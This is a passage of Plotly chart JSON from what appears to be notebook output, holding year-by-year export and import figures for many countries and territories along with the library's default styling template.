- "2003", - "2004", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013" - ], - "y": [ - 0.02, - 0.06, - 0, - 0.01, - 0.02, - 0, - 0.04, - 0.05, - 35.03, - 0.01, - 0.02 - ] - }, - { - "mode": "lines", - "name": "MONTENEGRO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.57, - 42.31, - 26.19, - 36.37, - 51.61, - 38.93, - 19.96, - 19.98, - 15.51 - ] - }, - { - "mode": "lines", - "name": "SAN MARINO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.05, - 0.26, - 0.23, - 0.14, - 0.15, - 0.25, - 0.25, - 0.14 - ] - }, - { - "mode": "lines", - "name": "SERBIA", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 31.52, - 42.39, - 43.34, - 50.07, - 59.02, - 72.33, - 83.68, - 90.77, - 66.59 - ] - }, - { - "mode": "lines", - "name": "US MINOR OUTLYING ISLANDS", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.68, - 0.17, - 1.08, - 0.52, - 0.69, - 0.4, - 0.97, - 0.23 - ] - }, - { - "mode": "lines", - "name": "VATICAN CITY", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.05, - 0.04, - 0.11, - 0.03, - 0.03, - 0.07, - 0.03 - ] - }, - { - "mode": "lines", - "name": "NEUTRAL ZONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2005", - "2007", - "2008", - "2011" - ], - "y": [ - 0, - 0, - 0.05, - 0.06, - 25.01, - 0.01, - 0.16 - ] - }, - { - "mode": "lines", - "name": "SOUTH SUDAN", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.24, - 3.54, - 10.53, - 20.05, - 22.91, - 20.03 - ] - }, - { - "mode": "lines", - "name": "MAYOTTE", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.17, - 0.07, - 2.79, - 3.13, - 5.65, - 2.71 - ] - }, - { - "mode": "lines", - "name": "STATE OF PALEST", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 1.49, - 1.09, - 2.01, - 1.72 - ] - }, - { - "mode": "lines", - "name": "SINT MAARTEN (DUTCH PART)", - "type": "scatter", - "x": [ - "2016", - "2017", - "2019", - "2020" - ], - "y": [ - 0, - 0.01, - 0.08, - 0 - ] - }, - { - "mode": "lines", - "name": "Petroleum Products", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000" - ], - "y": [ - 352.75, - 89.43, - 29.98, - 1825.65 - ] - }, - { - "mode": "lines", - "name": "GUERNSEY", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.03, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "INSTALLATIONS IN INTERNATIONAL WATERS", - "type": "scatter", - "x": [ - "2015", - "2016", - "2017" - ], - "y": [ - 7.11, - 79.66, - 34.78 - ] - }, - { - "mode": "lines", - "name": "CURACAO", - "type": "scatter", - "x": [ - "2015", - "2017" - ], - "y": [ - 0.01, - 0 - ] - }, - { - "mode": "lines", - "name": "JERSEY", - "type": "scatter", - "x": [ - "2017", - "2019" - ], - "y": [ - 0, - 0.14 - ] - }, - { - "mode": "lines", - "name": "SVALLBARD AND J", - "type": "scatter", - "x": [ - "2019" - ], - "y": [ - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.32, - 3.72, - 0.96, - 1.01, - 2.25, - 13.54, - 9.53, - 2.3, - 6.32, - 3.69, - 3.81, - 3.5, - 9.97, - 4.63, - 4.69, - 2.21, - 6.63, - 4.69, - 4.25, - 4.68, - 7.4, - 8.67, - 10.41, - 6.22, - 5.22 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "ICELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 3.72, - 0.96, - 1.01, - 2.25, - 13.54, - 9.53, - 2.3, - 6.32, - 3.69, - 3.81, - 3.5, - 9.97, - 4.63, - 4.69, - 2.21, - 6.63, - 4.69, - 4.25, - 4.68, - 7.4, - 8.67, - 10.41, - 6.22, - 5.22 - ] - }, - { - "mode": "lines", - "name": "HUNGARY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 12.05, - 9.38, - 12.38, - 15.06, - 23.92, - 20.61, - 27.32, - 31.53, - 31.62, - 117.13, - 113.62, - 190.34, - 194.95, - 342.97, - 437.28, - 262.91, - 220.48, - 239.55, - 242.64, - 218.78, - 270.84, - 241.15, - 187.68, - 218.92, - 213.29 - ] - }, - { - "mode": "lines", - "name": "FIJI IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.04, - 11.34, - 0.01, - 0.01, - 1.71, - 0.3, - 0.85, - 18.76, - 0.26, - 0.68, - 1.34, - 2.99, - 2.51, - 1.38, - 2, - 1.8, - 0.37, - 0.6, - 0.49, - 0.71, - 0.57, - 1.33, - 0.4 - ] - }, - { - "mode": "lines", - "name": "EL SALVADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.41, - 0.22, - 0, - 0.6, - 1.17, - 1.09, - 1.83, - 2.06, - 2.49, - 5.86, - 5.84, - 5.37, - 5.4, - 8.27, - 8.64, - 7.99, - 10.27, - 6.18, - 5.77, - 9.02, - 4.2, - 3.2, - 3.82, - 3.28 - ] - }, - { - "mode": "lines", - "name": "GREENLAND", - "type": "scatter", - "x": [ - "97", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.08, - 0.04, - 0, - 0, - 0.01, - 3.37, - 0.05, - 0, - 0, - 0.16, - 0.04, - 0.02, - 0.06, - 0, - 0.07, - 0.1, - 0.1, - 0.01, - 0, - 0, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "ST VINCENT", - "type": "scatter", - "x": [ - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 1.55, - 2, - 1.95, - 2.3, - 74.24, - 2.35, - 36.37, - 7.02, - 1.04, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0, - 12.17, - 0 - ] - }, - { - "mode": "lines", - "name": "ST HELENA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0.35, - 0, - 0, - 0, - 0, - 0.01, - 0.04, - 0.49, - 0.23, - 0, - 0.02, - 0.08, - 0.18, - 0.07, - 0.1, - 0.09, - 0.09, - 0, - 0, - 0.03, - 0.07, - 0.01, - 0.01 - ] - }, - { - "mode": "lines", - "name": "COOK IS", - "type": "scatter", - "x": [ - "97", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.01, - 0, - 0, - 0.01, - 0.03, - 0, - 0, - 0, - 0.08, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.02, - 0, - 0.03, - 0 - ] - }, - { - "mode": "lines", - "name": "WALLIS F IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2017", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.16, - 0, - 0.04, - 0.02, - 0.02, - 0, - 0, - 0, - 0, - 0.1, - 1.02, - 0, - 0.01, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "UNION OF SERBIA & MONTENEGRO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 4.06, - 2.48, - 1.86, - 3.28, - 2.16, - 1.21, - 3.64, - 4.25, - 1.95, - 1.72, - 4.27, - 13.27, - 5.76, - 3.08, - 2.26, - 13.15, - 5.63, - 15.35, - 2.9, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PANAMA C Z", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 0, - 5.38, - 0, - 0, - 0, - 0.03, - 0.53, - 8.75, - 0.48, - 0, - 0.03, - 0.01, - 26.97, - 0, - 58.6, - 0, - 21.41, - 44.25, - 0, - 0.45, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "UNSPECIFIED", - "type": "scatter", - "x": [ - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14795.19, - 14074.87, - 17783.38, - 20753.69, - 25978.91, - 24807.23, - 681.47, - 1779.76, - 1412.66, - 939.31, - 4317.48, - 1039.26, - 1924.94, - 4097.07, - 7562.83, - 8709.59, - 7343.64, - 9194.62, - 89.74, - 123.49, - 56.44, - 33.83 - ] - }, - { - "mode": "lines", - "name": "SAHARWI A.DM RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2007", - "2008", - "2009", - "2010", - "2011", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "TOKELAU IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2018", - "2019" - ], - "y": [ - 0, - 0.24, - 0, - 0.21, - 0.02, - 0.15, - 0, - 0, - 0.03, - 0.25, - 0.08, - 0.01, - 0.01, - 0.01, - 0.01, - 0.06, - 0.3, - 0, - 0.01, - 0.02, - 0.08 - ] - }, - { - "mode": "lines", - "name": "PITCAIRN IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2010", - "2011", - "2012", - "2013", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0.22, - 0.03, - 0.02, - 0.01 - ] - }, - { - "mode": "lines", - "name": "MARSHALL ISLAND", - "type": "scatter", - "x": [ - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 10.63, - 0, - 178.97, - 14.77, - 0.07, - 0.15, - 0.01, - 1.36, - 9.8, - 0.88, - 7.28, - 0.01, - 0.41, - 8.71, - 0.11, - 0.51, - 3.61, - 1.66, - 1.06 - ] - }, - { - "mode": "lines", - "name": "ARUBA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0.04, - 0, - 0.02, - 0, - 1.92, - 0.11, - 0.24, - 0.13, - 0.03, - 0.3, - 4.27, - 0.4, - 0.55, - 0.3, - 0.81, - 1.64 - ] - }, - { - "mode": "lines", - "name": "FALKLAND IS", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015", - "2018", - "2019", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.04, - 0.01, - 0, - 0, - 0, - 0.01, - 0, - 0.94, - 0.77, - 1.35, - 3, - 1.44, - 1.75, - 0, - 0.03, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGUILLA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.14, - 0, - 0, - 0.07, - 0.01, - 0, - 0.18, - 0.19, - 0.1, - 0.18, - 0.03 - ] - }, - { - "mode": "lines", - "name": "ERITREA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.25, - 0.99, - 0.99, - 0.34, - 1.48, - 6.47, - 0.17, - 0.75, - 3.62, - 10.9, - 4.85, - 230.68, - 167.45, - 36.41, - 1.96, - 0, - 5.92, - 0, - 0.12 - ] - }, - { - "mode": "lines", - "name": "NIUE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2015", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.29, - 0.04, - 0, - 0.06, - 0, - 0, - 0.01, - 0.02, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PALAU", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.01, - 0.01, - 0.01, - 0.01, - 0.01, - 0, - 0, - 0.01, - 3.7, - 0, - 0.78, - 3.22, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "COCOS IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2016", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.05, - 0, - 0, - 0, - 0, - 0.02, - 0.05, - 0.02, - 48.88, - 0.03, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONACO", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.94, - 0.09, - 0.17, - 0.96, - 0.33, - 0.99, - 1.41, - 2.75, - 3.23, - 2.17, - 1.71, - 1.53, - 1.11, - 1.07, - 0.27, - 61.5, - 0.01, - 0.36 - ] - }, - { - "mode": "lines", - "name": "CHRISTMAS IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2019" - ], - "y": [ - 0.16, - 0.3, - 0.14, - 0.06, - 0.01, - 0, - 0.04, - 0, - 0.07, - 15.74, - 0.72, - 0.61, - 6.51, - 0.06, - 0, - 0.08, - 0.06, - 0.08, - 0.01 - ] - }, - { - "mode": "lines", - "name": "MICRONESIA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.01, - 0, - 0.02, - 0.02, - 0, - 